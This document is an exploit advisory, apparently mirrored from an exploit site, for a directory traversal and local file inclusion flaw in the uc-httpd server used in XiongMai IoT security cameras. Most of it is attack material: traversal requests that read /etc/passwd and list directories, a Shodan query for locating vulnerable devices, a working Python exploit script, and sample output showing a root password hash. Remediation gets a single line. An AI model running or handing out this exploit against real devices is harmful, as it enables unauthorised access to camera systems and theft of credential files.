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uc-http Daemon - Local File Inclusion / Directory Traversal Vulnerabilities
['''
______ ______ _____ ___ _____ _____ _____
| ___ \ | ___ \ | _ | |_ | | ___| / __ \ |_ _|
| |_/ / | |_/ / | | | | | | | |__ | / \/ | |
| __/ | / | | | | | | | __| | | | |
| | | |\ \ \ \_/ / /\__/ / | |___ | \__/\ | |
\_| \_| \_| \___/ \____/ \____/ \____/ \_/
_____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __
|_ _| | \ | | / ___| | ___| / __ \ | | | | | ___ \ |_ _| |_ _| \ \ / /
| | | \| | \ `--. | |__ | / \/ | | | | | |_/ / | | | | \ V /
| | | . ` | `--. \ | __| | | | | | | | / | | | | \ /
_| |_ | |\ | /\__/ / | |___ | \__/\ | |_| | | |\ \ _| |_ | | | |
\___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/
[+]---------------------------------------------------------[+]
| Vulnerable Software: uc-httpd |
| Vendor: XiongMai Technologies |
| Vulnerability Type: LFI, Directory Traversal |
| Date Released: 03/04/2017 |
| Released by: keksec |
[+]---------------------------------------------------------[+]
uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable
to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with
around one million vulnerable surviellence cameras.
The following request can be made to display the contents of the 'passwd' file:
GET ../../../../../etc/passwd HTTP/1.0
To display a directory listing, the following request can be made:
GET ../../../../../var/www/html/ HTTP/1.0
The above request would output the contents of the webroot directory as if 'ls' command was executed
The following shodan request can be used to display vulnerable systems:
product:uc-httpd
Here is a proof of concept (written by @sxcurity):
-------------------------------------------------------------------------------------------------------------
'''
#!/usr/bin/env python
import urllib2, httplib, sys
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'
print "[+] uc-httpd 0day exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"
host = sys.argv[1]
fd = raw_input('[+] File or Directory: ')
print "Exploiting....."
print '\n'
print urllib2.urlopen(host + '/../../../../..' + fd).read()
'''
-------------------------------------------------------------------------------------------------------------
Here is a live example of the exploit being ran:
root@127:~/dongs# python pwn.py http://127.0.0.1
[+] uc-httpd 0day exploiter [+]
[+] usage: python pwn.py http://<target_ip>
[+] File or Directory: /etc/passwd
Exploiting.....
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
root@127:~/dongs# python pwn.py http://127.0.0.1
[+] uc-httpd 0day exploiter [+]
[+] usage: python pwn.py http://<target_ip>
[+] File or Directory: /proc/version
Exploiting.....
Linux version 3.0.8 (leixinyuan@localhost.localdomain) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #52 Fri Apr 22 12:33:57 CST 2016
root@127:~/dongs#
-------------------------------------------------------------------------------------------------------------
How to fix: Sanitize inputs, don't run your httpd as root!
[+]---------------------------------------------------------[+]
| CONTACT US: |
| |
| IRC: irc.insecurity.zone (6667/6697) #insecurity |
| Twitter: @insecurity |
| Website: insecurity.zone |
[+]---------------------------------------------------------[+]
'''
# 0day.today [2024-11-15] #